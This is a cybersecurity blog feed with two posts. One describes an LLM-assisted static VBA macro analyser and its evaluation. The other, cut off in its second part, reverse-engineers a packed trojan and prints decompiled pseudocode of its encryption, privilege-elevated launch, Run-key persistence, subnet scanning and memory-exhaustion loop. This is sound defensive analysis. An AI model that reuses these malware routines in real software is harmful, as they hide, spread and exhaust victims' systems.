<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>zy0ud</title><description>Cybersecurity writeups — malware analysis, reverse engineering, red-team labs and web security.</description><link>https://zy0ud.me</link><item><title>M4CR0SC0PE: VBA Macro Analysis with LLM</title><link>https://zy0ud.me/blog/m4cr0sc0pe-vba-macro-analysis</link><guid isPermaLink="true">https://zy0ud.me/blog/m4cr0sc0pe-vba-macro-analysis</guid><description>The core idea: combine deep static code analysis with Large Language Model semantic reasoning to produce explainable malware reports — without executing a…</description><pubDate>Wed, 01 Jul 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;M4CR0SC0PE&lt;/strong&gt; is my graduation project at Jordan University of Science and Technology (JUST), Faculty of Computer and Information Technology — a fully static analysis pipeline for detecting and analyzing malicious VBA macros in Microsoft Office documents.&lt;/p&gt;
&lt;p&gt;The core idea: combine deep static code analysis with Large Language Model semantic reasoning to produce explainable malware reports — without executing a single line of untrusted code at any stage.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Problem Statement&lt;/h2&gt;
&lt;p&gt;Microsoft Office documents with embedded VBA macros remain one of the most prevalent initial access vectors in modern cyberattacks. Attackers rely on the fact that Office files are widely trusted and frequently exchanged — especially in business environments. Embedded macros can download malware, run encrypted commands, or establish persistence without raising immediate suspicion.&lt;/p&gt;
&lt;p&gt;Existing analysis approaches each have a fundamental drawback:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Traditional static analysis&lt;/strong&gt; uses signature matching and keyword rules. It&apos;s safe (no execution needed) but fails completely against obfuscated macros. A macro that uses &lt;code&gt;Chr()&lt;/code&gt;, Base64 encoding, string concatenation, or dynamic payload construction looks like noise to a rule-based system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dynamic analysis (sandboxing)&lt;/strong&gt; provides behavioral insight but introduces execution risk, high resource overhead, and is vulnerable to anti-VM evasion techniques — modern malware can detect sandboxed environments and stay dormant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LLMs on raw code&lt;/strong&gt; provide semantic understanding but hallucinate without structured input. Feeding raw obfuscated VBA to an LLM produces unreliable output — the model invents function names, misreads variable semantics, and confabulates MITRE ATT&amp;#x26;CK techniques.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The gap:&lt;/strong&gt; a system that combines the safety of static analysis with the semantic depth of LLMs, while controlling and measuring hallucination.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;System Overview&lt;/h2&gt;
&lt;p&gt;M4CR0SC0PE analyzes Office files containing VBA macros (&lt;code&gt;.docm&lt;/code&gt;, &lt;code&gt;.xlsm&lt;/code&gt;, &lt;code&gt;.pptm&lt;/code&gt;, &lt;code&gt;.dotm&lt;/code&gt;, &lt;code&gt;.xlam&lt;/code&gt;, &lt;code&gt;.doc&lt;/code&gt;, &lt;code&gt;.xls&lt;/code&gt;, &lt;code&gt;.vba&lt;/code&gt;) through an eight-stage pipeline. No file is executed. No Office installation is required. No sandbox environment is needed.&lt;/p&gt;
&lt;h3&gt;The 8-Stage Pipeline&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Office Document
      │
      ▼
┌─────────────────────────────────────────────┐
│  Stage 1 · Validation &amp;#x26; Hashing             │
│  SHA-256 · MD5 · magic-byte file type check │
├─────────────────────────────────────────────┤
│  Stage 2 · Static Macro Extraction          │
│  oletools · OLE · OOXML · autoexec detection│
├─────────────────────────────────────────────┤
│  Stage 3 · Multi-Pass Deobfuscation         │
│  Chr() · Base64 · Hex · Dridex · concat     │
├─────────────────────────────────────────────┤
│  Stage 4 · Deep Static Analysis             │
│  Behavioral + structural + contextual       │
├─────────────────────────────────────────────┤
│  Stage 5 · Evidence Package Construction    │
│  Structured JSON · 3 epistemic tiers        │
├─────────────────────────────────────────────┤
│  Stage 6 · LLM Semantic Reasoning           │
│  Verdict · IOCs · MITRE ATT&amp;#x26;CK proposals    │
├─────────────────────────────────────────────┤
│  Stage 7 · MITRE ATT&amp;#x26;CK Verification        │
│  Evidence grounding · hallucination scoring │
├─────────────────────────────────────────────┤
│  Stage 8 · Reverse Engineering Layer        │
│  Call graph · execution flow reconstruction │
└─────────────────────────────────────────────┘
      │
      ▼
  Structured Analysis Report
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;Key Design Decisions&lt;/h2&gt;
&lt;h3&gt;Stage 3 — Multi-Pass Deobfuscation&lt;/h3&gt;
&lt;p&gt;Before any analysis begins, the system cleans the macro code. Common obfuscation patterns resolved:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Chr()&lt;/code&gt; / &lt;code&gt;Asc()&lt;/code&gt;&lt;/strong&gt; — character code substitution (&lt;code&gt;Chr(83) &amp;#x26; Chr(104) &amp;#x26; Chr(101) &amp;#x26; Chr(108)&lt;/code&gt; → &lt;code&gt;&quot;Shell&quot;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Base64 decode&lt;/strong&gt; — embedded payloads encoded as strings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hex encoding&lt;/strong&gt; — &lt;code&gt;\x53\x68\x65\x6C\x6C&lt;/code&gt; → &lt;code&gt;Shell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;String concatenation&lt;/strong&gt; — fragments assembled across multiple assignments&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dridex-style encoding&lt;/strong&gt; — custom XOR/rotation schemes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The deobfuscator runs multiple passes because obfuscation is often layered — the output of one decode pass becomes the input to the next.&lt;/p&gt;
&lt;h3&gt;Stage 5 — The Evidence Package (Core Innovation)&lt;/h3&gt;
&lt;p&gt;Instead of passing raw or deobfuscated VBA code to the LLM, Stage 5 constructs a &lt;strong&gt;structured JSON evidence package&lt;/strong&gt; before any LLM call is made. The package is categorized into three epistemic tiers:&lt;/p&gt;
&lt;p&gt;| Tier | Description | Examples |
|---|---|---|
| &lt;strong&gt;Confirmed&lt;/strong&gt; | Statically verifiable facts, zero ambiguity | &lt;code&gt;Shell&lt;/code&gt; call detected, &lt;code&gt;CreateObject(&quot;WScript.Shell&quot;)&lt;/code&gt;, file write to &lt;code&gt;%TEMP%&lt;/code&gt; |
| &lt;strong&gt;Inferred&lt;/strong&gt; | Strong patterns consistent with malicious behavior | Obfuscated string that decodes to a URL, autoexec trigger present, RegWrite to Run key |
| &lt;strong&gt;Contextual&lt;/strong&gt; | Suspicious but potentially benign in isolation | Process enumeration, registry read, HTTP connection |&lt;/p&gt;
&lt;p&gt;The evidence package also captures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Function and procedure names&lt;/strong&gt; — with their call relationships&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Suspicious API calls&lt;/strong&gt; — &lt;code&gt;CreateObject&lt;/code&gt;, &lt;code&gt;Shell&lt;/code&gt;, &lt;code&gt;Run&lt;/code&gt;, &lt;code&gt;RegWrite&lt;/code&gt;, &lt;code&gt;WScript&lt;/code&gt;, &lt;code&gt;XMLHTTP&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;String patterns&lt;/strong&gt; — downloaders, loaders, encoded payloads&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Embedded PowerShell&lt;/strong&gt; — treated as supplementary evidence, not analyzed separately&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This structured approach reduces LLM hallucination because the model reasons about extracted facts rather than trying to parse meaningless obfuscated strings.&lt;/p&gt;
&lt;h3&gt;Stage 7 — MITRE ATT&amp;#x26;CK Verification (Novel Contribution)&lt;/h3&gt;
&lt;p&gt;The LLM proposes ATT&amp;#x26;CK techniques in Stage 6. Stage 7 cross-references every proposal against the evidence package. A technique is &lt;strong&gt;accepted&lt;/strong&gt; only if it can be traced back to at least one confirmed or inferred indicator. Ungrounded proposals are &lt;strong&gt;rejected&lt;/strong&gt; and flagged.&lt;/p&gt;
&lt;p&gt;This produces a &lt;strong&gt;measurable hallucination rate&lt;/strong&gt; per model — a metric that doesn&apos;t exist in previous LLM-based malware analysis tools.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Stack:&lt;/strong&gt; Python 3.10 · Flask · oletools · SQLite · Azure OpenAI (GPT-4.1) · AgentRouter (Claude Haiku)&lt;/p&gt;
&lt;h3&gt;Database Schema (7 Tables)&lt;/h3&gt;
&lt;p&gt;The system persists all analysis results in &lt;code&gt;outputs/analyzer.db&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;| Table | Contents |
|---|---|
| &lt;code&gt;submissions&lt;/code&gt; | File metadata, hash, submission timestamp |
| &lt;code&gt;analysis_results&lt;/code&gt; | Per-model verdict, confidence, MITRE proposals |
| &lt;code&gt;evidence_packages&lt;/code&gt; | Structured JSON evidence per submission |
| &lt;code&gt;iocs&lt;/code&gt; | Extracted indicators of compromise |
| &lt;code&gt;mitre_mappings&lt;/code&gt; | Verified + rejected technique proposals |
| &lt;code&gt;deobfuscation_log&lt;/code&gt; | Pass-by-pass deobfuscation trace |
| &lt;code&gt;re_layer_output&lt;/code&gt; | Call graph, execution flow reconstruction |&lt;/p&gt;
&lt;h3&gt;Project Structure&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;macro_analyzer/
├── stages/
│   ├── validation.py       # Stage 1 — hashing + file type check
│   ├── extraction.py       # Stage 2 — VBA extraction via oletools
│   ├── deobfuscation.py    # Stage 3 — multi-pass deobfuscation
│   ├── analysis.py         # Stage 4 — deep static analysis
│   ├── evidence_builder.py # Stage 5 — evidence package construction
│   ├── llm_reasoning.py    # Stage 6 — LLM inference
│   ├── mitre_verifier.py   # Stage 7 — MITRE verification + hallucination scoring
│   └── re_layer.py         # Stage 8 — call graph + execution flow
├── controller.py           # Pipeline orchestration
├── database.py             # SQLite persistence
└── data_models.py          # Shared Pydantic models
dashboard/
└── app.py                  # Flask API + async job runner
config/
└── vba_mitre_reference.json
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;Dashboard&lt;/h2&gt;
&lt;p&gt;The system ships with a Flask web interface at &lt;code&gt;http://localhost:5000&lt;/code&gt; with four screens:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/dashboard.BwAq59vp_Z1kgYMx.webp&quot; alt=&quot;Dashboard — KPIs, model comparison, MITRE chart&quot;&gt;
&lt;em&gt;Dashboard — total analyzed files, malicious/benign counts, per-model performance cards (accuracy, confidence, hallucination rate), top MITRE techniques, IOC distribution, verdict distribution, submission history&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/analyze.XBRQbS89_1JOwiQ.webp&quot; alt=&quot;Analyze screen — upload and live pipeline progress&quot;&gt;
&lt;em&gt;Analyze — upload an Office file and watch all 8 stages execute with real-time status and intermediate output&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/report.BrXeThvb_1nBH3h.webp&quot; alt=&quot;Full structured analysis report&quot;&gt;
&lt;em&gt;Report — verdict, confidence score, behavioral summary, MITRE ATT&amp;#x26;CK table with evidence links per technique, IOC list, mitigation recommendations, PDF export&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/assistant.CMX-uNVJ_2K1Uq.webp&quot; alt=&quot;AI Assistant — project-scoped Q&amp;#x26;A&quot;&gt;
&lt;em&gt;Assistant — GPT-4.1 powered Q&amp;#x26;A scoped to the project codebase and current report context&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Evaluation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Dataset:&lt;/strong&gt; &lt;a href=&quot;https://ieee-dataport.org/documents/msoffice-vba-macros-classified-dataset&quot;&gt;IEEE DataPort MSOffice VBA Macros Classified Dataset&lt;/a&gt; — 300 files, stratified 80/20 train/test split, ground-truth labels provided.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Models evaluated:&lt;/strong&gt; GPT-4.1, GPT-4o, Claude Haiku.&lt;/p&gt;
&lt;h3&gt;Classification Performance&lt;/h3&gt;
&lt;p&gt;| Model | Accuracy | Precision | Recall | F1-Score | TP | TN | FP | FN |
|---|---|---|---|---|---|---|---|---|
| &lt;strong&gt;GPT-4.1&lt;/strong&gt; | &lt;strong&gt;75.6%&lt;/strong&gt; | 0.733 | &lt;strong&gt;1.000&lt;/strong&gt; | &lt;strong&gt;0.846&lt;/strong&gt; | 200 | 26 | 73 | 0 |
| GPT-4o | 66.4% | 0.664 | 1.000 | 0.798 | 198 | 0 | 100 | 0 |
| Claude Haiku | 75.5% | 0.710 | 1.000 | 0.831 | 147 | 38 | 60 | 0 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;All three models achieved perfect Recall (1.000) — FN = 0 across all models.&lt;/strong&gt; No malicious file was missed.&lt;/p&gt;
&lt;p&gt;This is the primary security guarantee. The tradeoff is false positives — legitimate files flagged as malicious. GPT-4.1 achieves the best balance (73 FPs, 26 correct benign classifications), while GPT-4o flags every single benign file as malicious (100 FPs, 0 TNs).&lt;/p&gt;
&lt;h3&gt;MITRE ATT&amp;#x26;CK Hallucination Rate&lt;/h3&gt;
&lt;p&gt;| Model | Proposed | Verified | Rejected | Hallucination Rate |
|---|---|---|---|---|
| &lt;strong&gt;GPT-4.1&lt;/strong&gt; | 759 | 654 | 105 | &lt;strong&gt;13.8%&lt;/strong&gt; |
| GPT-4o | 421 | 160 | 261 | 62.0% |
| Claude Haiku | 1,475 | 795 | 680 | 46.1% |&lt;/p&gt;
&lt;p&gt;GPT-4.1&apos;s &lt;strong&gt;13.8% hallucination rate&lt;/strong&gt; vs GPT-4o&apos;s 62.0% and Claude Haiku&apos;s 46.1% validates the evidence-based prompting approach. When the model reasons about structured, pre-analyzed indicators rather than raw code, it proposes fewer and better-grounded techniques.&lt;/p&gt;
&lt;p&gt;Claude Haiku generated significantly more technique proposals (1,475 — almost 2× GPT-4.1&apos;s 759), but nearly half were ungrounded. This suggests the model is pattern-matching on the evidence keywords rather than reasoning about them.&lt;/p&gt;
&lt;h3&gt;Model Selection Recommendation&lt;/h3&gt;
&lt;p&gt;For production use, &lt;strong&gt;GPT-4.1 is the recommended model&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Best F1-Score (0.846) — best precision-recall balance&lt;/li&gt;
&lt;li&gt;Lowest hallucination rate (13.8%) — highest MITRE mapping reliability&lt;/li&gt;
&lt;li&gt;Zero false negatives — no malicious files missed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Claude Haiku is a viable offline/private alternative for environments where Azure OpenAI is unavailable, accepting the tradeoff of higher hallucination rate.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Why Evidence-Based Prompting Works&lt;/h2&gt;
&lt;p&gt;The central insight of M4CR0SC0PE is that &lt;strong&gt;LLM quality scales with input quality&lt;/strong&gt;. Raw obfuscated VBA is essentially adversarially crafted noise from the model&apos;s perspective — it contains meaningless token sequences that cause the model to confabulate.&lt;/p&gt;
&lt;p&gt;By running static extraction and deobfuscation first, then packaging only the meaningful signals into a structured JSON prompt, we give the model a clean, factual substrate to reason about. The MITRE verification stage then acts as a second LLM pass — the model argues for each proposed technique against the evidence, and we reject proposals that can&apos;t be grounded.&lt;/p&gt;
&lt;p&gt;This three-layer architecture (extract → reason → verify) is what produces the 13.8% hallucination rate — compared to 46-62% when models are given less structured inputs.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Limitations &amp;#x26; Future Work&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Current limitations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Accuracy depends on deobfuscation quality — heavily layered or custom encoding schemes may not fully resolve&lt;/li&gt;
&lt;li&gt;LLM API dependency — offline environments require local model hosting&lt;/li&gt;
&lt;li&gt;No runtime behavioral analysis — by design, but limits detection of environment-aware payloads&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Planned extensions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Local LLM support (Ollama integration) for airgapped environments&lt;/li&gt;
&lt;li&gt;Extended deobfuscation for additional encoding schemes (VBA stomping, P-Code analysis)&lt;/li&gt;
&lt;li&gt;YARA rule generation from verified MITRE mappings&lt;/li&gt;
&lt;li&gt;Cross-document correlation for campaign attribution&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/r3dzyoud/M4CR0SC0PE.git
cd M4CR0SC0PE
pip install -r requirements.txt
cp .env.example .env
# Set AZURE_OPENAI_API_KEY and AZURE_OPENAI_BASE_URL in .env
python3 dashboard/app.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open &lt;code&gt;http://localhost:5000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Full technical documentation: &lt;a href=&quot;https://github.com/r3dzyoud/M4CR0SC0PE/wiki&quot;&gt;GitHub Wiki&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/logo_cover.C8nIoHFg.png"/><enclosure url="/_astro/logo_cover.C8nIoHFg.png"/></item><item><title>REV: Packed Trojan, DLL, Rootkit &amp; IDAPython</title><link>https://zy0ud.me/blog/rev-project2-packed-trojan-dll-rootkit</link><guid isPermaLink="true">https://zy0ud.me/blog/rev-project2-packed-trojan-dll-rootkit</guid><description>Five reverse engineering exercises: a UPX-packed Trojan analyzed in IDA Pro, a custom-encrypted DLL reversed in Ghidra + IDAPython, a Base64-obfuscated…</description><pubDate>Mon, 08 Jun 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;Five reverse engineering exercises: a UPX-packed Trojan analyzed in IDA Pro, a custom-encrypted DLL reversed in Ghidra + IDAPython, a Base64-obfuscated VBScript downloader, a rootkit kernel driver with hooked Windows APIs, and an automation pipeline comparing IDA Pro vs Ghidra decompilation output (96 vs 71 functions).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Part 1: Packed Trojan — &lt;code&gt;tr_pack1.exe&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;Sample Collection&lt;/h3&gt;
&lt;p&gt;Downloaded from &lt;a href=&quot;https://bazaar.abuse.ch/&quot;&gt;MalwareBazaar&lt;/a&gt; by searching the &lt;strong&gt;UPX&lt;/strong&gt; tag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1.DCLHu4Eo_ZzC960.webp&quot; alt=&quot;MalwareBazaar — UPX tag search results&quot;&gt;
&lt;em&gt;MalwareBazaar browse — &lt;code&gt;tag:UPX&lt;/code&gt; search results, sample &lt;code&gt;9b0d5e40...&lt;/code&gt; (reported name &lt;code&gt;5kidRo0t&lt;/code&gt;) selected from the list&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/2.CREtM7OM_2eb1qN.webp&quot; alt=&quot;MalwareBazaar — sample detail page&quot;&gt;
&lt;em&gt;Sample metadata — SHA256 &lt;code&gt;9b0d5e40ea39bcdb7f21c195750b010d7ebe343eefd691b27e572e6bbd740c33&lt;/code&gt;, original filename &lt;strong&gt;Astaroth.exe&lt;/strong&gt;, file size 23,054 bytes, first seen 2025-05-11. TrID flags it as a 52.7% match for a UPX-compressed Win32 executable&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Identify the Packer&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;PEiD&lt;/strong&gt; flags the packer immediately:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4.cYGiW-6e_Z2gIwPb.webp&quot; alt=&quot;PEiD — Entrypoint and section info&quot;&gt;
&lt;em&gt;PEiD main window — Entrypoint &lt;code&gt;00013360&lt;/code&gt; sits inside section &lt;strong&gt;UPX1&lt;/strong&gt;, File Offset &lt;code&gt;00005560&lt;/code&gt;, First Bytes &lt;code&gt;60,BE,15,E0&lt;/code&gt; (a &lt;code&gt;PUSHAD&lt;/code&gt;/&lt;code&gt;MOV ESI&lt;/code&gt; pair typical of UPX&apos;s decompression stub), Linker Info &lt;code&gt;2.41&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/3.D0dT_BIN_op6ot.webp&quot; alt=&quot;PEiD — Extra Information popup&quot;&gt;
&lt;em&gt;Extra Information — Detected: &lt;strong&gt;UPX 0.89.6-1.02 / 1.05-2.90 (Markus &amp;#x26; Laszlo) [Overlay]&lt;/strong&gt;, Entropy: &lt;strong&gt;7.88 (Packed)&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Detect It Easy (DiE)&lt;/strong&gt; cross-validates the finding:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5.C-aXB_lH_Z1mH6E.webp&quot; alt=&quot;DiE — UPX packer analysis&quot;&gt;
&lt;em&gt;DiE v3.10 — Packer: &lt;code&gt;UPX(4.22)[NRV,brute]&lt;/code&gt;. Heuristic packer flag fires on the entry point, section names, and the collision between the mapped sections and their real sizes — all consistent with UPX&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/6.BE5wU7up_Z15MYOd.webp&quot; alt=&quot;DiE — PE sections view showing UPX0/UPX1/UPX2&quot;&gt;
&lt;em&gt;DiE&apos;s PE view — three sections named &lt;strong&gt;UPX0&lt;/strong&gt; (empty header, RWE), &lt;strong&gt;UPX1&lt;/strong&gt; (holds the entry point and packed code, RWE), and &lt;strong&gt;UPX2&lt;/strong&gt; (import table, RW) — the textbook UPX section layout&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Unpack&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;upx -d 9b0d5e40ea39bcdb7f21c195750b010d7ebe343eefd691b27e572e6bbd740c33.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7.Bz7zmbET_25Xtcu.webp&quot; alt=&quot;UPX decompression command&quot;&gt;
&lt;em&gt;UPX 3.96w successfully restores the file from 23,054 bytes back to 44,558 bytes (51.74% compression ratio) — unpacked binary ready for static analysis&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;IDA Pro Analysis&lt;/h3&gt;
&lt;p&gt;Loaded the unpacked binary in IDA Pro and decompiled the entry point:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/8.ChFwwnMl_Z13c4w5.webp&quot; alt=&quot;IDA Pro — start() decompiled function&quot;&gt;
&lt;em&gt;IDA Pro — &lt;code&gt;start()&lt;/code&gt; entry point, function list visible on the left, decompiled pseudocode on the right&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/9.CFabIeXL_Z27qOxc.webp&quot; alt=&quot;IDA Pro — sub_401A18 core function&quot;&gt;
&lt;em&gt;&lt;code&gt;sub_401A18&lt;/code&gt; — the primary malicious routine: crypto setup, anti-debug check, and the calls into the three sub-behaviors below&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// Line 16 — XOR &quot;encrypts&quot; a hardcoded buffer with key 0x90
for (i = 0; i &amp;#x3C; pdwDataLen - 1; ++i)
    pbData[i] ^= v6;   // v6 == 0x90

// Line 19-20 — acquire a CSP handle, generate an AES-256 session key
CryptAcquireContextA(hProv, 0, 0, 0x18u, 0xF0000000);
CryptGenKey(hProv[0], 0x6610u, 1u, &amp;#x26;phKey);
// 0x6610 = CALG_AES_256, flag 1u = CRYPT_EXPORTABLE (Microsoft CryptoAPI)

// Line 25 — anti-debugging
hProv[1] = IsDebuggerPresent();

// Line 26 — drop and execute second stage, shown NORMAL (not hidden)
ShellExecuteA(0, &quot;runas&quot;, &quot;Astaroth.exe&quot;, 0, 0, 1);  // nShowCmd = 1 = SW_SHOWNORMAL

// Line 27-29 — hand off to the three behaviors covered below
sub_40150D();   // persistence
sub_401701();   // network scanning
sub_401912();   // fork / memory exhaustion loop
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;sub_40150D&lt;/code&gt; — Persistence&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/10.DEpthcb5_Z1CUN9w.webp&quot; alt=&quot;IDA Pro — sub_40150D persistence function&quot;&gt;
&lt;em&gt;Gets the current executable&apos;s path, resolves &lt;code&gt;%AppData%&lt;/code&gt; via &lt;code&gt;SHGetFolderPathA(..., 26, ...)&lt;/code&gt; (CSIDL 26 = &lt;code&gt;CSIDL_APPDATA&lt;/code&gt;), copies itself to &lt;code&gt;%AppData%\5kidRo0t.exe&lt;/code&gt;, writes a Run-key value named &lt;code&gt;5kidRo0t&lt;/code&gt; under both &lt;code&gt;HKCU&lt;/code&gt; and &lt;code&gt;HKLM\...\CurrentVersion\Run&lt;/code&gt;, then calls &lt;code&gt;SetFileAttributesA(Str, 6)&lt;/code&gt; — &lt;code&gt;0x6&lt;/code&gt; = &lt;code&gt;FILE_ATTRIBUTE_HIDDEN (2)&lt;/code&gt; | &lt;code&gt;FILE_ATTRIBUTE_SYSTEM (4)&lt;/code&gt;, hiding the dropped copy from normal directory listings&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;sub_401701&lt;/code&gt; — Network Scanning&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/11.B37MKo9G_Z1DbrBj.webp&quot; alt=&quot;IDA Pro — sub_401701 network scanning, part 1&quot;&gt;
&lt;em&gt;Initializes Winsock (&lt;code&gt;WSAStartup&lt;/code&gt;), reads the local hostname and resolves it to an IP via &lt;code&gt;gethostbyname&lt;/code&gt; — the starting point for building target addresses on the local subnet&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/12.D8SFZFXY_Z1esfE4.webp&quot; alt=&quot;IDA Pro — sub_401701 network scanning, part 2&quot;&gt;
&lt;em&gt;Opens a &lt;strong&gt;raw socket&lt;/strong&gt;, then loops &lt;code&gt;i = 1&lt;/code&gt; to &lt;code&gt;254&lt;/code&gt;, formatting each candidate as &lt;code&gt;&quot;%d.%d.%d.%d&quot;&lt;/code&gt; to sweep the entire local /24 (e.g., a host at &lt;code&gt;192.168.1.100&lt;/code&gt; scans &lt;code&gt;192.168.1.1&lt;/code&gt;–&lt;code&gt;192.168.1.254&lt;/code&gt;), sending a packet to each before cleaning up with &lt;code&gt;closesocket&lt;/code&gt;/&lt;code&gt;WSACleanup&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;sub_401912&lt;/code&gt; — Fork + Memory Exhaustion Loop&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/13.BfGv3NBZ_Z1IQHyj.webp&quot; alt=&quot;IDA Pro — sub_401912&quot;&gt;
&lt;em&gt;An infinite loop: spawns a fresh copy of itself via &lt;code&gt;CreateProcessA&lt;/code&gt;, &lt;code&gt;malloc&lt;/code&gt;s a ~400 MB block (&lt;code&gt;0x17D78400&lt;/code&gt;), fills it with sequential integers, sleeps 500 ms (&lt;code&gt;0x1F4&lt;/code&gt;), then repeats — steadily consuming CPU and RAM&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The write loop (filling the allocation with data) drives progressive memory pressure that can crash the system.&lt;/li&gt;
&lt;li&gt;The 500 ms sleep is just enough to slow the drain rate and dodge naive threshold-based resource monitors.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Part 2: Encrypted Strings DLL — &lt;code&gt;xor_caesar.dll&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;Compile the DLL&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/14.D0RMT68H_Z27B86N.webp&quot; alt=&quot;xor_caesar.c source&quot;&gt;
&lt;em&gt;Source for the test DLL — two hardcoded encrypted byte arrays (&lt;code&gt;xor_encrypted&lt;/code&gt;, &lt;code&gt;caesar_encrypted&lt;/code&gt;), a &lt;code&gt;0x2A&lt;/code&gt; XOR key, a Caesar shift of &lt;code&gt;3&lt;/code&gt;, and three exported functions: &lt;code&gt;xor_decrypt()&lt;/code&gt;, &lt;code&gt;caesar_decrypt()&lt;/code&gt;, and &lt;code&gt;print_all()&lt;/code&gt; (which MessageBox-displays both decrypted strings)&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gcc -shared -o xor_caesar.dll -fPIC &quot;C:\Users\r3d\Desktop\xor_caesar.c&quot;
&lt;/code&gt;&lt;/pre&gt;
